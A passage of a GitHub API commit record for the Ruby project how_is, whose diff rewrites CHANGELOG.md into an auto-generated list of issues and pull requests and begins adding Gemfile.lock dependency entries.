s/commits/b4a24011f4c9a48f533e2abc1f46164d9cd86a45","html_url":"https://github.com/how-is/how_is/commit/b4a24011f4c9a48f533e2abc1f46164d9cd86a45"},{"sha":"27b252d3625d198ded7dee32a86387a8ec613588","url":"https://api.github.com/repos/how-is/how_is/commits/27b252d3625d198ded7dee32a86387a8ec613588","html_url":"https://github.com/how-is/how_is/commit/27b252d3625d198ded7dee32a86387a8ec613588"}],"stats":{"total":430,"additions":290,"deletions":140},"files":[{"sha":"78a8f7af7204e6193b4131d54a7d741bc32ecbbc","filename":"CHANGELOG.md","status":"modified","additions":258,"deletions":140,"changes":398,"blob_url":"https://github.com/how-is/how_is/blob/50a9b616043fdadfcb262d68c5be32bb5f350c5d/CHANGELOG.md","raw_url":"https://github.com/how-is/how_is/raw/50a9b616043fdadfcb262d68c5be32bb5f350c5d/CHANGELOG.md","contents_url":"https://api.github.com/repos/how-is/how_is/contents/CHANGELOG.md?ref=50a9b616043fdadfcb262d68c5be32bb5f350c5d","patch":"@@ -1,212 +1,330 @@\n # Change Log\n \n-All notable changes to this project will be documented in this file.\n+## [Unreleased](https://github.com/how-is/how_is/tree/HEAD)\n \n-The format is based on [Keep a Changelog](http://keepachangelog.com) and\n-this project adheres to [Semantic Versioning](http://semver.org).\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.4...HEAD)\n \n-## [Unreleased]\n+**Closed issues:**\n \n-(Nothing so far.)\n+- Stop using hashie''s master branch [\\#168](https://github.com/how-is/how_is/issues/168)\n \n-## [v18.0.4]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.4))\n-is exclusively cleaning up RuboCop violations and updating dependencies.\n-There should be no noticeable changes in functionality.\n+- Include name of rules in RuboCop output [\\#175](https://github.com/how-is/how_is/pull/175) ([olleolleolle](https://github.com/olleolleolle))\n+- Rubocop 0.49.1 [\\#174](https://github.com/how-is/how_is/pull/174) ([olleolleolle](https://github.com/olleolleolle))\n+- Rubocop warning removal [\\#173](https://github.com/how-is/how_is/pull/173) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Miscellaneous\n+## [v18.0.4](https://github.com/how-is/how_is/tree/v18.0.4) (2017-07-14)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.3...v18.0.4)\n \n-* Use Hashie stable; update Gemfile/add Gemfile.lock. ([#170](https://github.com/how-is/how_is/pull/170))\n-* Pass -w to Ruby when running ''rake spec''. ([#169](https://github.com/how-is/how_is/pull/169))\n-* Rubocop cleanup. ([#167](https://github.com/how-is/how_is/pull/167))\n-* Gemfile: use Hashie from master branch. ([#166](https://github.com/how-is/how_is/pull/166))\n-* Update github_api, contracst to latest. ([#165](https://github.com/how-is/how_is/pull/165))\n-* Fix (a significant number of) RuboCop violations. ([#162](https://github.com/how-is/how_is/pull/162))\n-* README: Drop from_config_file reference. ([#161](https://github.com/how-is/how_is/pull/161))\n-* Move rubocop dependency to gemspec. ([#160](https://github.com/how-is/how_is/pull/160))\n+**Closed issues:**\n \n-## [v18.0.3]\n+- HowIs::CLI refactor [\\#156](https://github.com/how-is/how_is/issues/156)\n+- \"Invalid file\" error doesn''t include filename. [\\#155](https://github.com/how-is/how_is/issues/155)\n+- No report and Hashie::Mash\\#default warnings [\\#154](https://github.com/how-is/how_is/issues/154)\n+- Remove from\\_config\\_file from docs [\\#153](https://github.com/how-is/how_is/issues/153)\n+- Fix warnings when running `rake spec` [\\#124](https://github.com/how-is/how_is/issues/124)\n+- Number of issues closed in the past month [\\#106](https://github.com/how-is/how_is/issues/106)\n+- Number of PRs merged in the past month. [\\#105](https://github.com/how-is/how_is/issues/105)\n+- Number of PRs/issues opened in past month [\\#99](https://github.com/how-is/how_is/issues/99)\n+- Number of PRs/issues not updated in the past month [\\#87](https://github.com/how-is/how_is/issues/87)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.3))\n-fixes the things the last few releases broke. I think. Hopefully.\n+**Merged pull requests:**\n \n-It also includes some refactoring work, and the addition of a RuboCop\n-configuration.\n+- Release v18 0 4 [\\#171](https://github.com/how-is/how_is/pull/171) ([duckinator](https://github.com/duckinator))\n+- Use Hashie stable; update Gemfile/add Gemfile.lock [\\#170](https://github.com/how-is/how_is/pull/170) ([duckinator](https://github.com/duckinator))\n+- Pass -w to Ruby when running ''rake spec''. [\\#169](https://github.com/how-is/how_is/pull/169) ([duckinator](https://github.com/duckinator))\n+- Rubocop cleanup [\\#167](https://github.com/how-is/how_is/pull/167) ([duckinator](https://github.com/duckinator))\n+- Gemfile: use Hashie from master branch [\\#166](https://github.com/how-is/how_is/pull/166) ([olleolleolle](https://github.com/olleolleolle))\n+- Update github\\_api, contracts to latest [\\#165](https://github.com/how-is/how_is/pull/165) ([olleolleolle](https://github.com/olleolleolle))\n+- Fix \\(a significant number of\\) RuboCop violations. [\\#162](https://github.com/how-is/how_is/pull/162) ([duckinator](https://github.com/duckinator))\n+- README: Drop from\\_config\\_file reference [\\#161](https://github.com/how-is/how_is/pull/161) ([olleolleolle](https://github.com/olleolleolle))\n+- move rubocop dep to gemspec [\\#160](https://github.com/how-is/how_is/pull/160) ([duckinator](https://github.com/duckinator))\n \n-@duckinator enabled [Hound CI](https://houndci.com) for the repository, which\n-should find any RuboCop violations that are added in PRs. The preexisting\n-RuboCop violations (of which there are many) need to be addressed separately,\n-and there will likely be an entire release dedicated to that.\n+## [v18.0.3](https://github.com/how-is/how_is/tree/v18.0.3) (2017-05-25)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.2...v18.0.3)\n \n-### Changes\n+**Closed issues:**\n \n-* Add RuboCop config ([#158](https://github.com/how-is/how_is/pull/158))\n-* CLI parser refactor ([#157](https://github.com/how-is/how_is/pull/157))\n-* exe/how_is: Reinstate to_json, to_html ([#150](https://github.com/how-is/how_is/pull/150), by @olleolleolle)\n+- Issue: report.html renders only \\#\\ [\\#149](https://github.com/how-is/how_is/issues/149)\n+- Make CONFIG\\_FILE optional when using --config. [\\#41](https://github.com/how-is/how_is/issues/41)\n \n-## [v18.0.2]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.2))\n-_actually_ fixes the `--config` flag, which made an unecessary method\n-call.\n+- v18.0.3 -- CHANGELOG and version bump. [\\#159](https://github.com/how-is/how_is/pull/159) ([duckinator](https://github.com/duckinator))\n+- Add RuboCop config [\\#158](https://github.com/how-is/how_is/pull/158) ([duckinator](https://github.com/duckinator))\n+- CLI parser refactor [\\#157](https://github.com/how-is/how_is/pull/157) ([duckinator](https://github.com/duckinator))\n+- exe/how\\_is: Reinstate to\\_json, to\\_html [\\#150](https://github.com/how-is/how_is/pull/150) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Changes\n+## [v18.0.2](https://github.com/how-is/how_is/tree/v18.0.2) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.1...v18.0.2)\n \n-* v18.0.2 - Remove unnecessary `.send()` call in exe/how_is.\n- ([#148](https://github.com/how-is/how_is/pull/148))\n+**Merged pull requests:**\n \n-## [v18.0.1]\n+- v18.0.2 - Remove unnecessary .send\\(\\) call in exe/how\\_is. [\\#148](https://github.com/how-is/how_is/pull/148) ([duckinator](https://github.com/duckinator))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.1))\n-fixes the `--config` flag, which was previously using the wrong method.\n+## [v18.0.1](https://github.com/how-is/how_is/tree/v18.0.1) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v18.0.0...v18.0.1)\n \n-### Changes\n+**Merged pull requests:**\n \n-* v18.0.1 - fix `--config` flag.\n- ([#147](https://github.com/how-is/how_is/pull/147))\n+- v18.0.1 - fix --config flag [\\#147](https://github.com/how-is/how_is/pull/147) ([duckinator](https://github.com/duckinator))\n \n-## [v18.0.0]\n+## [v18.0.0](https://github.com/how-is/how_is/tree/v18.0.0) (2017-03-05)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v17.0.0...v18.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v18.0.0))\n-vastly improves documentation, fixes the `--from` flag, and adds the\n-`HowIs.from_hash` method (used by the\n-[dashboard](https://github.com/how-is/dashboard)).\n+**Closed issues:**\n \n-Pull Requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2017-02-10..2017-03-03).\n+- Determine what is using open-uri [\\#140](https://github.com/how-is/how_is/issues/140)\n+- :from != :from\\_file [\\#137](https://github.com/how-is/how_is/issues/137)\n+- Move --from documentation to README [\\#136](https://github.com/how-is/how_is/issues/136)\n+- Why is rack required? [\\#135](https://github.com/how-is/how_is/issues/135)\n+- Is :from\\_file still an option? [\\#134](https://github.com/how-is/how_is/issues/134)\n+- Move from\\_config/from\\_config\\_file out of HowIs::CLI [\\#52](https://github.com/how-is/how_is/issues/52)\n \n-### Additions\n+**Merged pull requests:**\n \n-* Add/improve inline code documentation.\n- ([#132](https://github.com/how-is/how_is/pull/132))\n-* Move documentation from design/ to README.\n- ([#143](https://github.com/how-is/how_is/pull/143))\n-* Add `HowIs.from_hash` method.\n- ([#144](https://github.com/how-is/how_is/pull/144))\n+- v18.0.0 release [\\#146](https://github.com/how-is/how_is/pull/146) ([duckinator](https://github.com/duckinator))\n+- Add HowIs.from\\_hash method [\\#144](https://github.com/how-is/how_is/pull/144) ([indirect](https://github.com/indirect))\n+- Move documentation from design/ to README. [\\#143](https://github.com/how-is/how_is/pull/143) ([duckinator](https://github.com/duckinator))\n+- Fix --from. [\\#141](https://github.com/how-is/how_is/pull/141) ([duckinator](https://github.com/duckinator))\n+- Unpin Rack version. [\\#139](https://github.com/how-is/how_is/pull/139) ([duckinator](https://github.com/duckinator))\n+- Documentation! [\\#132](https://github.com/how-is/how_is/pull/132) ([duckinator](https://github.com/duckinator))\n+- Remove shebang line from lib/ file. [\\#131](https://github.com/how-is/how_is/pull/131) ([duckinator](https://github.com/duckinator))\n+- Fix URL in gemspec. [\\#130](https://github.com/how-is/how_is/pull/130) ([duckinator](https://github.com/duckinator))\n+- Gemspec: Description grammar [\\#129](https://github.com/how-is/how_is/pull/129) ([olleolleolle](https://github.com/olleolleolle))\n \n-### Changes\n+## [v17.0.0](https://github.com/how-is/how_is/tree/v17.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v16.0.0...v17.0.0)\n \n-* Unpin Rack version. ([#139](https://github.com/how-is/how_is/pull/139))\n-* Fix --from. ([#141](https://github.com/how-is/how_is/pull/141))\n+**Merged pull requests:**\n \n-### Miscellaneous\n+- Make from\\_json parse ALL dates, not just some of them. [\\#128](https://github.com/how-is/how_is/pull/128) ([duckinator](https://github.com/duckinator))\n \n-Things that don''t affect users of how\\_is.\n+## [v16.0.0](https://github.com/how-is/how_is/tree/v16.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v15.0.0...v16.0.0)\n \n-* Fix grammar in gemspec.\n- ([#129](https://github.com/how-is/how_is/pull/129))\n-* Fix URL in gemspec. ([#130](https://github.com/how-is/how_is/pull/130))\n-* Remove shebang line from lib/ file.\n- ([#131](https://github.com/how-is/how_is/pull/131))\n+**Merged pull requests:**\n \n+- Make from\\_json\\(\\) parse dates. [\\#127](https://github.com/how-is/how_is/pull/127) ([duckinator](https://github.com/duckinator))\n \n-## [v17.0.0]\n+## [v15.0.0](https://github.com/how-is/how_is/tree/v15.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v14.0.0...v15.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v17.0.0))\n-makes `HowIs.from_json` parse _all_ dates, not just _some_ dates.\n-(Whoops.)\n+**Closed issues:**\n \n-### Changes\n+- include data from GitHub Pulse in Analysis [\\#116](https://github.com/how-is/how_is/issues/116)\n \n-* Make `HowIs.from_json` parse _all_ dates, not just some of them.\n- ([#128](https://github.com/how-is/how_is/pull/128))\n+**Merged pull requests:**\n \n-## [v16.0.0]\n+- Implement HowIs.from\\_json\\(\\). [\\#126](https://github.com/how-is/how_is/pull/126) ([duckinator](https://github.com/duckinator))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v16.0.0))\n-makes `HowIs.from_json` actually parse dates.\n+## [v14.0.0](https://github.com/how-is/how_is/tree/v14.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v13.0.0...v14.0.0)\n+\n+**Closed issues:**\n+\n+- Remove dead code [\\#121](https://github.com/how-is/how_is/issues/121)\n+- Update documentation with API changes [\\#118](https://github.com/how-is/how_is/issues/118)\n+- design an API [\\#115](https://github.com/how-is/how_is/issues/115)\n+- correct readme [\\#114](https://github.com/how-is/how_is/issues/114)\n \n-### Changes\n+**Merged pull requests:**\n \n-* Make `HowIs.from_json` parse dates.\n- ([#127](https://github.com/how-is/how_is/pull/127))\n+- Include Pulse data in JSON reports. [\\#125](https://github.com/how-is/how_is/pull/125) ([duckinator](https://github.com/duckinator))\n+- Remove dead code. [\\#123](https://github.com/how-is/how_is/pull/123) ([duckinator](https://github.com/duckinator))\n+- Update README.md about API redesign. [\\#120](https://github.com/how-is/how_is/pull/120) ([duckinator](https://github.com/duckinator))\n+- CHANGELOG typo [\\#119](https://github.com/how-is/how_is/pull/119) ([olleolleolle](https://github.com/olleolleolle))\n \n-## [v15.0.0]\n+## [v13.0.0](https://github.com/how-is/how_is/tree/v13.0.0) (2017-02-09)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v12.0.0...v13.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v15.0.0))\n-implements `HowIs.from_json`.\n+**Closed issues:**\n \n-### Changes\n+- Add ISSUES.md [\\#102](https://github.com/how-is/how_is/issues/102)\n+- Have change log link to tags [\\#100](https://github.com/how-is/how_is/issues/100)\n \n-* Implemented `How_is.from_json`.\n- ([#126](https://github.com/how-is/how_is/pull/126))\n+**Merged pull requests:**\n \n-## [v14.0.0]\n+- API redesign [\\#117](https://github.com/how-is/how_is/pull/117) ([duckinator](https://github.com/duckinator))\n+- Update README.md [\\#113](https://github.com/how-is/how_is/pull/113) ([duckinator](https://github.com/duckinator))\n+- remove pdfs and relax rack version [\\#112](https://github.com/how-is/how_is/pull/112) ([indirect](https://github.com/indirect))\n+- \\[design.md\\] add ''information about how\\_is'' section. [\\#109](https://github.com/how-is/how_is/pull/109) ([duckinator](https://github.com/duckinator))\n+- Specifications [\\#108](https://github.com/how-is/how_is/pull/108) ([duckinator](https://github.com/duckinator))\n+- Have CHANGELOG link to code snapshots. [\\#107](https://github.com/how-is/how_is/pull/107) ([duckinator](https://github.com/duckinator))\n+- Add link for ungrouped issues. [\\#104](https://github.com/how-is/how_is/pull/104) ([duckinator](https://github.com/duckinator))\n+- Add ISSUES.md. [\\#103](https://github.com/how-is/how_is/pull/103) ([duckinator](https://github.com/duckinator))\n+- CLI warning on single-word repository argument [\\#98](https://github.com/how-is/how_is/pull/98) ([olleolleolle](https://github.com/olleolleolle))\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v14.0.0))\n-made JSON reports include Pulse data, thus making `HowIs.from_json()`\n-not make any network requests at all.\n+## [v12.0.0](https://github.com/how-is/how_is/tree/v12.0.0) (2016-12-11)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v11.0.0...v12.0.0)\n \n-### Changes\n+**Closed issues:**\n \n-* Remove dead code. ([#123](https://github.com/how-is/how_is/pull/123))\n-* Include Pulse data in JSON reports.\n- ([#125](https://github.com/how-is/how_is/pull/125))\n+- ZeroDivisionError [\\#91](https://github.com/how-is/how_is/issues/91)\n+- Rake task\\(s\\) for regenerating example reports. [\\#84](https://github.com/how-is/how_is/issues/84)\n+- make issue\\_or\\_pr\\_summary use kwargs [\\#78](https://github.com/how-is/how_is/issues/78)\n+- Define unimplemented BaseReport methods [\\#77](https://github.com/how-is/how_is/issues/77)\n+- Extract BaseReport [\\#76](https://github.com/how-is/how_is/issues/76)\n+- Release v11.0 [\\#75](https://github.com/how-is/how_is/issues/75)\n+- convert average age/oldest/newest to lists [\\#70](https://github.com/how-is/how_is/issues/70)\n+- newest PR/issue [\\#69](https://github.com/how-is/how_is/issues/69)\n \n-## [v13.0.0]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v13.0.0))\n-largely focused on an API redesign.\n+- version bump to 12.0.0 [\\#97](https://github.com/how-is/how_is/pull/97) ([duckinator](https://github.com/duckinator))\n+- rake generate =\\> rake generate\\_reports. [\\#96](https://github.com/how-is/how_is/pull/96) ([duckinator](https://github.com/duckinator))\n+- Rake tasks [\\#94](https://github.com/how-is/how_is/pull/94) ([duckinator](https://github.com/duckinator))\n+- Fix divide by zero when no issues [\\#92](https://github.com/how-is/how_is/pull/92) ([duckinator](https://github.com/duckinator))\n+- Changelog v12.0 [\\#89](https://github.com/how-is/how_is/pull/89) ([duckinator](https://github.com/duckinator))\n+- Refactoring Report + \\*Report. [\\#88](https://github.com/how-is/how_is/pull/88) ([duckinator](https://github.com/duckinator))\n+- Rake tasks [\\#86](https://github.com/how-is/how_is/pull/86) ([duckinator](https://github.com/duckinator))\n+- Newest pr issue attempt 2 [\\#85](https://github.com/how-is/how_is/pull/85) ([duckinator](https://github.com/duckinator))\n+- Convert issue/PR info to a list. [\\#83](https://github.com/how-is/how_is/pull/83) ([duckinator](https://github.com/duckinator))\n+- Improve generated HTML, for easier debugging. [\\#82](https://github.com/how-is/how_is/pull/82) ([duckinator](https://github.com/duckinator))\n+- Update readme [\\#81](https://github.com/how-is/how_is/pull/81) ([duckinator](https://github.com/duckinator))\n+- Define unimplemented methods; make github\\_pulse\\_summary private. [\\#80](https://github.com/how-is/how_is/pull/80) ([duckinator](https://github.com/duckinator))\n+- Extract BaseReport into its own file. [\\#79](https://github.com/how-is/how_is/pull/79) ([duckinator](https://github.com/duckinator))\n \n-Pull requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2016-12-12..2017-02-09).\n+## [v11.0.0](https://github.com/how-is/how_is/tree/v11.0.0) (2016-11-13)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v10.0.0...v11.0.0)\n \n-### Changed\n+**Closed issues:**\n \n-* API overhaul. ([#115](https://github.com/how-is/how_is/issues/115), [#117](https://github.com/how-is/how_is/pull/117))\n-* Raise an exception/show a CLI warning if the provided repository name\n- isn''t in the \"user/repo\" format.\n- ([#98](https://github.com/how-is/how_is/pull/98))\n+- Failing tests. [\\#68](https://github.com/how-is/how_is/issues/68)\n+- `how\\_is how-is/how\\_is` is broken [\\#61](https://github.com/how-is/how_is/issues/61)\n+- Rename export! to export\\_file [\\#57](https://github.com/how-is/how_is/issues/57)\n+- Remove how\\_is/chart.rb [\\#56](https://github.com/how-is/how_is/issues/56)\n+- Unknown option --report-file referenced in the README [\\#51](https://github.com/how-is/how_is/issues/51)\n+- Specify period for reports [\\#50](https://github.com/how-is/how_is/issues/50)\n+- Handle singular/plural PRs and issues properly [\\#49](https://github.com/how-is/how_is/issues/49)\n+- HTML graph messes up \"\\(No label\\)\" graph label [\\#48](https://github.com/how-is/how_is/issues/48)\n+- Document library usage. [\\#45](https://github.com/how-is/how_is/issues/45)\n+- Use VCR instead of files containing API responses [\\#37](https://github.com/how-is/how_is/issues/37)\n+- Make integration tests not rely on GitHub API [\\#36](https://github.com/how-is/how_is/issues/36)\n+- Integration tests [\\#26](https://github.com/how-is/how_is/issues/26)\n+- Links [\\#18](https://github.com/how-is/how_is/issues/18)\n+- \\[PDF\\] Show labels outside of graph [\\#8](https://github.com/how-is/how_is/issues/8)\n \n-## [v12.0.0]\n+**Merged pull requests:**\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v12.0.0))\n-largely focused on refactoring and developer experience improvements\n-(e.g. adding Rake tasks and improving the generated JSON and HTML).\n+- Add changelog. [\\#73](https://github.com/how-is/how_is/pull/73) ([duckinator](https://github.com/duckinator))\n+- Fix failing tests. [\\#72](https://github.com/how-is/how_is/pull/72) ([duckinator](https://github.com/duckinator))\n+- Add tests for --help, -h, --version, and -v. [\\#67](https://github.com/how-is/how_is/pull/67) ([duckinator](https://github.com/duckinator))\n+- Test refactoring [\\#66](https://github.com/how-is/how_is/pull/66) ([duckinator](https://github.com/duckinator))\n+- Handle singular/plural PRs and issues correctly. [\\#65](https://github.com/how-is/how_is/pull/65) ([duckinator](https://github.com/duckinator))\n+- Remove duplicate period. [\\#64](https://github.com/how-is/how_is/pull/64) ([duckinator](https://github.com/duckinator))\n+- Handle cases where there are no issues or PRs. [\\#63](https://github.com/how-is/how_is/pull/63) ([duckinator](https://github.com/duckinator))\n+- Fix \"No label\" graph label. [\\#62](https://github.com/how-is/how_is/pull/62) ([duckinator](https://github.com/duckinator))\n+- Rename export! to export\\_file. [\\#60](https://github.com/how-is/how_is/pull/60) ([duckinator](https://github.com/duckinator))\n+- Remove remnants of PDF-related stuff. [\\#59](https://github.com/how-is/how_is/pull/59) ([duckinator](https://github.com/duckinator))\n+- FUCK YEAH DOCUMENTATION [\\#58](https://github.com/how-is/how_is/pull/58) ([duckinator](https://github.com/duckinator))\n+- Specify time period for reports. [\\#55](https://github.com/how-is/how_is/pull/55) ([duckinator](https://github.com/duckinator))\n+- SO LONG, PDF REPORTS. YOU WILL NOT BE MISSED. [\\#54](https://github.com/how-is/how_is/pull/54) ([duckinator](https://github.com/duckinator))\n+- Document Ruby API. [\\#53](https://github.com/how-is/how_is/pull/53) ([duckinator](https://github.com/duckinator))\n+- Update roadmap.markdown [\\#47](https://github.com/how-is/how_is/pull/47) ([duckinator](https://github.com/duckinator))\n+- New roadmap. [\\#46](https://github.com/how-is/how_is/pull/46) ([duckinator](https://github.com/duckinator))\n \n-Pull Requests for this release can be [viewed on\n-GitHub](https://github.com/how-is/how_is/pulls?utf8=&q=is%3Apr%20created%3A2016-11-11..2016-12-11).\n+## [v10.0.0](https://github.com/how-is/how_is/tree/v10.0.0) (2016-09-01)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v9.0.0...v10.0.0)\n \n-### Added\n+**Closed issues:**\n \n-- Include newest PR/issue in reports.\n- ([#85](https://github.com/how-is/how_is/pull/85))\n+- --version is broken [\\#42](https://github.com/how-is/how_is/issues/42)\n+- report generation fails [\\#25](https://github.com/how-is/how_is/issues/25)\n \n-### Changed\n+**Merged pull requests:**\n \n-- Refactoring. ([#79](https://github.com/how-is/how_is/pull/79), [#80](https://github.com/how-is/how_is/pull/80), [#82](https://github.com/how-is/how_is/pull/82), [#88](https://github.com/how-is/how_is/pull/88))\n-- JSON and HTML reports have nicer source.\n- ([#82](https://github.com/how-is/how_is/pulls/82),\n- [#84](https://github.com/how-is/how_is/pulls/84))\n-- Handle generating a report on a repository with no open issues.\n- ([#92](https://github.com/how-is/how_is/pull/92))\n-- Add Rake tasks to make development easier. ([#86](https://github.com/how-is/how_is/pull/86), [#94](https://github.com/how-is/how_is/pull/94), [#96](https://github.com/how-is/how_is/pull/96))\n-- PR/issue info is now displayed as lists instead of paragraphs. ([#83](https://github.com/how-is/how_is/pull/83))\n+- Parser specs [\\#43](https://github.com/how-is/how_is/pull/43) ([duckinator](https://github.com/duckinator))\n \n-## [11.0.0]\n+## [v9.0.0](https://github.com/how-is/how_is/tree/v9.0.0) (2016-08-20)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v8.0.0...v9.0.0)\n \n-This release ([snapshot](https://github.com/how-is/how_is/tree/v11.0.0))\n-removed PDF reports, handles more edge cases, and improves tests.\n+**Closed issues:**\n \n-### Added\n+- Help text is outdated. [\\#33](https://github.com/how-is/how_is/issues/33)\n+- `how\\_is rubygems/rubygems` raises contract violation [\\#32](https://github.com/how-is/how_is/issues/32)\n+- Warning when executing how\\_is [\\#29](https://github.com/how-is/how_is/issues/29)\n+- Intermittent off-by-one date error in Analyzer\\#average\\_date\\_for test [\\#21](https://github.com/how-is/how_is/issues/21)\n \n-- Document Ruby API\n+**Merged pull requests:**\n \n-### Changed\n+- We''re not using Cucumber + Aruba. [\\#40](https://github.com/how-is/how_is/pull/40) ([duckinator](https://github.com/duckinator))\n+- Option parser refactor [\\#39](https://github.com/how-is/how_is/pull/39) ([duckinator](https://github.com/duckinator))\n+- Fix first integration test [\\#38](https://github.com/how-is/how_is/pull/38) ([duckinator](https://github.com/duckinator))\n+- Update documentation. [\\#35](https://github.com/how-is/how_is/pull/35) ([duckinator](https://github.com/duckinator))\n+- Fix contract error [\\#34](https://github.com/how-is/how_is/pull/34) ([duckinator](https://github.com/duckinator))\n+- Use the correct config file in integration tests. [\\#31](https://github.com/how-is/how_is/pull/31) ([duckinator](https://github.com/duckinator))\n+- Remove redundant definiton of C. [\\#30](https://github.com/how-is/how_is/pull/30) ([duckinator](https://github.com/duckinator))\n+- Fix Analyzer\\#average\\_age\\_for test. [\\#28](https://github.com/how-is/how_is/pull/28) ([duckinator](https://github.com/duckinator))\n+- Integration tests [\\#27](https://github.com/how-is/how_is/pull/27) ([duckinator](https://github.com/duckinator))\n \n-- Fixed command-line help text (it was incorrect in v10.0.0 and some earlier versions)\n-- Handles generating reports for repositories with no issues and/or no PRs\n-- Handles generating reports for repositories with no activity in the\n- past month\n-- Tests are improved\n-- Tests no longer make actual network requests\n+## [v8.0.0](https://github.com/how-is/how_is/tree/v8.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v7.0.0...v8.0.0)\n \n-### Removed\n+## [v7.0.0](https://github.com/how-is/how_is/tree/v7.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v6.0.0...v7.0.0)\n \n-- PDF reports\n+## [v6.0.0](https://github.com/how-is/how_is/tree/v6.0.0) (2016-07-28)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v5.0.0...v6.0.0)\n \n-## [10.0.0 and earlier]\n+**Merged pull requests:**\n \n-This changelog was started while working on v11.0.0.\n-Prior to that, I have no idea what was added or when.\n+- CLI specs [\\#24](https://github.com/how-is/how_is/pull/24) ([duckinator](https://github.com/duckinator))\n+- Spelling in OptParser help for --config [\\#23](https://github.com/how-is/how_is/pull/23) ([olleolleolle](https://github.com/olleolleolle))\n+\n+## [v5.0.0](https://github.com/how-is/how_is/tree/v5.0.0) (2016-07-21)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v4.0.0...v5.0.0)\n+\n+## [v4.0.0](https://github.com/how-is/how_is/tree/v4.0.0) (2016-07-19)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v3.0.0...v4.0.0)\n+\n+**Closed issues:**\n+\n+- Monthly summary [\\#19](https://github.com/how-is/how_is/issues/19)\n+\n+**Merged pull requests:**\n+\n+- Add text summary. [\\#22](https://github.com/how-is/how_is/pull/22) ([duckinator](https://github.com/duckinator))\n+\n+## [v3.0.0](https://github.com/how-is/how_is/tree/v3.0.0) (2016-07-13)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v2.0.0...v3.0.0)\n+\n+**Closed issues:**\n+\n+- Exception when running `how\\_is duckinator/how\\_is` from master [\\#16](https://github.com/how-is/how_is/issues/16)\n+\n+**Merged pull requests:**\n+\n+- HTML links [\\#20](https://github.com/how-is/how_is/pull/20) ([duckinator](https://github.com/duckinator))\n+\n+## [v2.0.0](https://github.com/how-is/how_is/tree/v2.0.0) (2016-06-27)\n+[Full Changelog](https://github.com/how-is/how_is/compare/v1.0.0...v2.0.0)\n+\n+**Closed issues:**\n+\n+- HTML exports [\\#13](https://github.com/how-is/how_is/issues/13)\n+- When importing from JSON, don''t require repository name as argument. [\\#10](https://github.com/how-is/how_is/issues/10)\n+- Allow export to Ruby objects as well as files [\\#7](https://github.com/how-is/how_is/issues/7)\n+\n+**Merged pull requests:**\n+\n+- HTML graphs [\\#17](https://github.com/how-is/how_is/pull/17) ([duckinator](https://github.com/duckinator))\n+\n+## [v1.0.0](https://github.com/how-is/how_is/tree/v1.0.0) (2016-06-22)\n+**Closed issues:**\n+\n+- Fix failing tests [\\#15](https://github.com/how-is/how_is/issues/15)\n+- Update README [\\#11](https://github.com/how-is/how_is/issues/11)\n+- Find a better name [\\#2](https://github.com/how-is/how_is/issues/2)\n+- Metrics to track [\\#1](https://github.com/how-is/how_is/issues/1)\n+\n+**Merged pull requests:**\n+\n+- waffle.io Badge [\\#14](https://github.com/how-is/how_is/pull/14) ([waffle-iron](https://github.com/waffle-iron))\n+- Executable: Fail faster, use abort [\\#9](https://github.com/how-is/how_is/pull/9) ([olleolleolle](https://github.com/olleolleolle))\n+- Rotate images with MiniMagick [\\#5](https://github.com/how-is/how_is/pull/5) ([olleolleolle](https://github.com/olleolleolle))\n+\n+\n+\n+\\* *This Change Log was automatically generated by [github_changelog_generator](https://github.com/skywinder/Github-Changelog-Generator)*\n\\ No newline at end of file"},{"sha":"43524eab3b648355e6d4ee2f44b938564c4ae85e","filename":"Gemfile.lock","status":"modified","additions":27,"deletions":0,"changes":27,"blob_url":"https://github.com/how-is/how_is/blob/50a9b616043fdadfcb262d68c5be32bb5f350c5d/Gemfile.lock","raw_url":"https://github.com/how-is/how_is/raw/50a9b616043fdadfcb262d68c5be32bb5f350c5d/Gemfile.lock","contents_url":"https://api.github.com/repos/how-is/how_is/contents/Gemfile.lock?ref=50a9b616043fdadfcb262d68c5be32bb5f350c5d","patch":"@@ -10,8 +10,14 @@ PATH\n GEM\n remote: https://rubygems.org/\n specs:\n+ activesupport (5.1.2)\n+ concurrent-ruby (~> 1.0, >= 1.0.2)\n+ i18n (~> 0.7)\n+ minitest (~> 5.1)\n+ tzinfo (~> 1.1)\n addressable (2.4.0)\n ast (2.3.0)\n+ 